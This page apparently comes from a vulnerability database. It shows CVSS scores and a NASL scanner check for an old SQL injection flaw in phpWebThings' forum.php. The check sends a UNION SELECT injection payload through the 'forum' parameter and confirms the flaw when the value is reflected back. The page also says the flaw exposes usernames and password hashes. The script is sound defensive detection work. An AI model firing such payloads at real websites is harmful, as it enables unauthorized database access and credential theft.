7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
6.8 Medium
AI Score
Confidence
Low
0.01 Low
EPSS
Percentile
83.9%
The version of phpWebThings installed on the remote host does not
properly sanitize user input in the
# SPDX-FileCopyrightText: 2005 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.20170");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2005-3585", "CVE-2005-4218");
script_xref(name:"OSVDB", value:"20441");
script_name("phpWebThings forum Parameter SQL Injection Vulnerabilities");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2005 Ferdy Riphagen");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2005-11/0057.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15276");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15465");
script_xref(name:"URL", value:"http://retrogod.altervista.org/phpwebth14_xpl.html");
script_xref(name:"URL", value:"http://www.ojvweb.nl/download.php?file=64&cat=17&subref=10");
script_tag(name:"solution", value:"Apply the phpWebthings 1.4 forum patch referenced in the third URL
above.");
script_tag(name:"summary", value:"The version of phpWebThings installed on the remote host does not
properly sanitize user input in the 'forum' and 'msg' parameters of 'forum.php' script before using
it in database queries.");
script_tag(name:"impact", value:"An attacker can exploit this vulnerability to display the usernames and passwords
(md5 hash) from the website and then use this information to gain administrative access to the affected application.");
script_tag(name:"qod_type", value:"remote_active");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("url_func.inc");
port = http_get_port(default:80);
if (!http_can_host_php(port:port))
exit(0);
foreach dir( make_list_unique( "/phpwebthings", "/webthings", "/phpwt", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" )
dir = "";
exploit = "-1 UNION SELECT null,123456,null,null,null,null/*";
url = string(dir, "/forum.php?forum=", urlencode(str:exploit));
req = http_get(item:url, port:port);
recv = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
if(!recv)
continue;
if ( string('<input type="hidden" value="', exploit, '" name="sforum"') >< recv &&
egrep(pattern:"created with <a href=[^>]+.*>phpWebThings", string:recv) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );